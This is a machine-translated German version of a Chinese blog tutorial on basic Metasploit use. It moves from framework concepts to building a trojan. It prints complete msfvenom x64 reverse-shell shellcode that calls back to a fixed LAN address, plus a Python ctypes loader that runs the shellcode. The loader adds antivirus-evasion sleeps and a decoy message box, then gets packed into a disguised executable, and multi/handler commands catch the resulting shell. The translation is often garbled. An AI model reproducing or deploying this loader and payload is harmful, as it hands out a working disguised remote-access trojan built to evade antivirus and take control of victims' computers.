Grundlegende Verwendung von MSF (Grundstruktur und Payload-Demo)

Vorwort

Mal sehen, ob wir es bestehen (Mal sehen, ob wir es bestehen) Ich habe kürzlich ein Reptilienprojekt durchgeführt, und meine Hände jucken wieder.
MSF ist ein sehr etabliertes Penetrations-Framework, das einige Penetrationserkennungsmodule enthält

Umgebung

Kail 2020
VM 16
-Host: Windows 10

Grundvoraussetzungen:
Halten Sie sich strikt an die nationalen Sicherheitsgesetze und -vorschriften und können Sie Linux verwenden.

Grundstruktur

Grundbegriffe

Bevor wir das spielen, müssen wir noch einige grundlegende Fachbegriffe verstehen

Ausbeuten

Ein Penetrationsangriff bezieht sich auf einen Angriff, der von einem Angreifer oder Penetrationstester durchgeführt wird, indem eine Sicherheitslücke in einem System, einer Anwendung oder einem Dienst ausgenutzt wird.

Beliebte Angriffstechniken sind Pufferüberläufe, Webanwendungs-Exploits und das Ausnutzen von Fehlkonfigurationen.

Nutzlast Die Nutzlast ist der Code, von dem wir erwarten, dass das Zielsystem ihn ausführt, nachdem er eingedrungen ist. Im Rahmen von MSF kann frei gewählt, geliefert und implantiert werden. Beispielsweise ist eine Rebound-Shell eine Angriffsnutzlast, die eine Netzwerkverbindung vom Zielhost zum angreifenden Host herstellt und eine Befehlszeilen-Shell bereitstellt. Die Bind
-Shell-Payload bindet eine Befehlszeilen-Shell auf dem Zielhost an einen offenen Listening-Port, mit dem ein Angreifer eine Verbindung herstellen kann, um eine Shell-Interaktion zu erhalten.

Spillcode (Shellcode) Shellcode ist eine Reihe von Maschinenanweisungen, die während eines Penetrationsangriffs als Angriffsnutzlast ausgeführt werden. Shellcode wird normalerweise in Assemblersprache geschrieben. In den meisten Fällen stellt das Zielsystem nur eine Befehlszeilen-Shell oder Meterpreter-
Shell bereit, nachdem es den Shellcode-Anweisungssatz ausgeführt hat, der auch der Ursprung des Shellcode-Namens ist.

Modul (Modul) In MSF bezieht sich ein Modul auf eine Softwarecodekomponente, die im MSF-Framework verwendet wird. Irgendwann können Sie ein Exploit-
Modul verwenden, bei dem es sich um die Softwarekomponente handelt, mit der der Exploit-Angriff tatsächlich gestartet wird. Zu anderen Zeiten kann ein Hilfsmodul verwendet werden
, um nach Angriffsaktionen zu scannen, wie z. B. Scannen oder Systemaufzählung.

Listener (Listener) Ein Listener ist eine Komponente in MSF, die auf eine eingehende Netzwerkverbindung wartet. Nachdem der Zielhost beispielsweise kompromittiert wurde, kann er sich über das Internet wieder mit dem angreifenden Host verbinden, und die Listener-Komponente befindet sich auf dem angreifenden Host und wartet darauf, dass das kompromittierte System eine Verbindung herstellt, und ist für die Handhabung dieser Netzwerkverbindungen verantwortlich.

physikalische Struktur

Um dieses Framework schnell zu verwenden, um etwas Interessantes zu tun, müssen wir zuerst die grundlegende Verzeichnisstruktur verstehen, die die tatsächliche Dateiadresse ist. wir treten hier ein
Bildbeschreibung hier einfügen

Die wichtigsten sind diese. Wir können hineingehen und nachsehen.
Bildbeschreibung hier einfügen

Ok, wir können zuerst etwas über diese grundlegendste Verzeichnisstruktur lernen, denn hier gibt es nichts zu sehen.

logische Struktur

Bildbeschreibung hier einfügen

Im Grunde sind wir

Handbuch

Wenn das sogenannte wirkliche Wissen herauskommt, lasst uns unseren Prozess sortieren. So spielen wir tatsächlich, wenn wir eindringen.

Die Wörter hier werden grob in zwei Arten unterteilt, die eine besteht darin, direkt über Penetrationsskripte anzugreifen, und die andere besteht darin, Nutzdaten zu verwenden, dh Trojaner-Viren und dergleichen. Der vorherige Prozess ist relativ einfach, daher werde ich ihn nicht im Detail demonstrieren (hauptsächlich, weil die Umgebung ausgetrocknet war, als ich vorher nicht gespielt habe), und einige der folgenden Operationen beinhalten mehr Inhalt. Ich bin hauptsächlich hier, um euch ein Theaterstück zu zeigen. Führen Sie dann einige grundlegende Gedanken ein.

Grundprozess der Penetration

Zuerst

Der erste Punkt besteht zweifellos darin, die Informationen des anderen Hosts zu ermitteln, z. B. was das Ziel ist. Dann suchen wir die entsprechenden öffentlichen Schwachstellen, zum Beispiel haben wir festgestellt, dass der Zielhost xx System ist. Das System wurde dann der Schwachstelle mit der Nummer
CVE-2017-0143 ausgesetzt
. Was diese Informationen anbelangt, so können Sie selbst im Internet nach dem System oder der Ausrüstung der anderen Partei suchen und dann nach den Schwachstellen suchen, die in diesem Ausrüstungssystem öffentlich bekannt wurden. Bergbau ist natürlich eine andere Sache. Ich werde darauf nicht eingehen Hier.

Sekunde

An diesem Punkt gehen wir davon aus, dass die andere Partei diese Schwachstelle haben könnte, und betreten dann zu diesem Zeitpunkt unsere msf-Konsole. Schwachstellen anzeigen

Bildbeschreibung hier einfügen
betreten? Sie können die gesamte Hilfe überprüfen (außerdem ist mein aktuelles msf nicht die neueste Version, da ich es lange nicht gespielt habe, sodass ich msf hier immer noch häufig aktualisieren muss, aber das Peinliche hier ist, dass das Update von ausländischen Spiegeln ist langsam, und das heimische Kali im Grunde Die Spiegel sind alle tot, eine harmonische Gesellschaft. Wenn Sie also aktualisieren, achten Sie auf das wissenschaftliche Internet.)

Bildbeschreibung hier einfügen

Ok, zurück zum Thema, was werden wir als Nächstes tun? Schwachstellen überprüfen und suchen. Warum möchten Sie das tun? Es ist sehr einfach. Verwenden Sie Angriffstools, die von anderen geschrieben wurden.
An diesem Punkt haben wir diese Dinge gesehen
Bildbeschreibung hier einfügen
und wir haben nicht viel über diese Sache gesehen.

Dritter

Wählen Sie eine aus, wenn nicht, ändern Sie sie.

Bildbeschreibung hier einfügen
Hier geben Sie zurück, um das Modul zu pushen

Sehen Sie sich dann diese Parametereinstellung an, und die Informationen zeigen Optionen an

Bildbeschreibung hier einfügen

Dann prüfen wir die konkreten Angaben in info

Bildbeschreibung hier einfügen
Darin sind viele Informationen, die Sie sich ansehen können.

Die Worte hier sind peinlicher, es gibt wirklich keine Zieldrohne.
Hier gibt es also vor, einzudringen, okay?

vierte

Natürlich wird es nach unseren Parametern eingestellt.
Bildbeschreibung hier einfügen

Bildbeschreibung hier einfügen

dann renne

Oder der Exploit
hängt von der spezifischen Situation ab. Wie soll ich es sagen, es gibt keine Zieldrohne, und das Experiment kann nicht durchgeführt werden, und dies muss mit einigen unserer spezifischen Schlupflöcher kombiniert werden, was eine starke Professionalität erfordert. Auch wenn es eine gibt eine Zieldrohne heute, ich werde es hier demonstrieren, wenn Sie ein Anfänger sind, wissen im Grunde nicht, wie es geht.

Eindringen von Trojanern

OK, nehmen wir ein einfach zu bedienendes.
Dies muss mit der Struktur der msf kombiniert werden, die wir gerade hatten.

Wir müssen das Tool msfvenom in unserem msf verwenden, um den Trojaner zu verwenden.

Klären Sie zunächst den Prozess:
Bildbeschreibung hier einfügen
Lassen Sie uns also zuerst über den msfvenom-Produktionstrojaner sprechen

Grundlegende Verwendung von msfvenom

Stellen Sie einige häufig verwendete Methoden und Parameter vor.

Payload anzeigen und verwenden

Sie können die Payload als Angriffsschema verstehen, welche Art von Angriffsmethode generiert wird und welche Art von Plattform zum Angriff verwendet wird.
Verwenden Sie den Parameter -p, um ihn festzulegen, und sehen Sie ihn als -l Payload. Weitere Informationen finden Sie unter Folgender Fall
Bildbeschreibung hier einfügen
Encoder verwenden den
Parameter -e Dies bezieht sich auf die zu wählende Methode zur Codierung, um die Wahrscheinlichkeit des Tötens durch Trojaner zu erhöhen.Darüber hinaus gibt es Parameter -i -b,
aber Sie können -e für persönliche Tests verwenden, und Sie Sie müssen es nicht einmal angeben. Der Grund dafür ist, dass, egal wie Sie die Parameter einstellen, es direkt von der Antivirensoftware blockiert wird. Probieren Sie es aus. Es ist zu diesem Zeitpunkt nutzlos, diese einfache Methode zu verwenden. Allerdings, Wir können andere Methoden verwenden, um das Töten zu vermeiden. Und diese Methode ist effizienter.
So sehen Sie, wie die Generierung von
Bildbeschreibung hier einfügen
Trojanischen Pferden mit Codierungsvorlagen angezeigt wird

msfvenom -p 模板 -e 编码模板 -i 编码次数 -b 避免字符集 LHOST(ifconfig查看) LPORT(监听端口) -f 输出文件类型 > 文件名

Unten ist ein Beispiel
Bildbeschreibung hier einfügen

Ich verwende hier keine anderen Parameter, der Grund dafür ist, dass es nicht nötig ist, es direkt zu töten, wenn es einfach so gehandhabt wird.

Vermeide es zu töten

Es gibt viele Möglichkeiten, das Töten jetzt zu vermeiden. Tatsächlich besteht die spezifische Idee darin, den Maschinencode des Virus zu erhalten und
ihn dann zu tarnen. Es gibt viele Möglichkeiten. Einzelheiten finden Sie in diesem Blog:
https://blog.csdn .net/weixin_44677409/article/details/ 96346481
Also hier, wegen meiner Programmierumgebung und meiner Betriebsgewohnheiten, ist die Demonstration hier, Python zu verwenden, um das Töten zu vermeiden
, um den Shellcode zu bekommen
, der eigentlich die py-Datei ausgeben
Bildbeschreibung hier einfügen
und dann die Datei bekommen soll
Der Inhalt der Datei ist wahrscheinlich so

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32"
buf += b"\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec"
buf += b"\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x22\xb9"
buf += b"\xc0\xa8\x65\x26\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41"
buf += b"\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01"
buf += b"\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50"
buf += b"\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48"
buf += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
buf += b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9"
buf += b"\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02"
buf += b"\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41"
buf += b"\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a"
buf += b"\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
buf += b"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50"
buf += b"\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
buf += b"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86"
buf += b"\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08"
buf += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6"
buf += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a"
buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59"
buf += b"\x41\x89\xda\xff\xd5"

Dann fügen Sie es ein und kopieren Sie es zu diesem Zeitpunkt in eine andere Python-
Datei.Ich habe hier eine Wrapper-Funktion geschrieben, die buf direkt als Parameter übergeben kann.

import ctypes

def execgo(buf):
    go()
    # print('123')
    shellcode = bytearray(buf)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # 放入shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buf,
        ctypes.c_int(len(shellcode))
    )
    ss()
    # 创建一个线程从shellcode放置位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    ss()
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

def ss():
	#查杀干扰
	time.sleep(0.1)
def go():
	#界面伪装
    ctypes.windll.user32.MessageBoxA(0, u"点击确定开始美好之旅(若无反应则版本可能不适用).^_ ^".encode('gb2312'),
                                     u' 信息'.encode('gb2312'), 0)
if __name__=='__main__':
    execgo(buf)

Verwenden Sie dann pyinstaller, um diese Datei in eine ausführbare Datei zu packen.Wenn
ja, habe ich ihr auch ein Symbol hinzugefügt,
Bildbeschreibung hier einfügen
um die Datei zu erhalten und den
Bildbeschreibung hier einfügen
Test zu beenden.
Bildbeschreibung hier einfügen

Trojaner-Kontrolle (msfconsole kontrolliert den Empfang von Trojaner-Informationen)

Hier:

use multi/handler
ist auch eines der Module, also erst eintragen und dann kann man das machen.

Gemäß meinen Einstellungen habe ich den folgenden Befehl eingegeben

msfconse
use multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST 192.168.101.38
set LPORT 8889
run

Wenn Sie darauf warten, dass das Ziel zu diesem Zeitpunkt online geht, lautet das
Ergebnis wie folgt:
Bildbeschreibung hier einfügen
Bisher ist das Eindringen eines einfachen Trojaners in Ordnung, dies ist auch operativer, wenn Sie einen Server mit einer öffentlichen Netzwerk-IP haben, oder?

Zusammenfassen

Wie gesagt, die Arbeitsweise von msf ist sehr einfach, natürlich ist die Prämisse, dass Sie ein gewisses Verständnis der grundlegenden Schlupflöcher haben und dann jeden Tag als guter junger Mann in der neuen Ära hart lernen.

Ich denke du magst

Origin blog.csdn.net/FUTEROX/article/details/123590536
Empfohlen
Rangfolge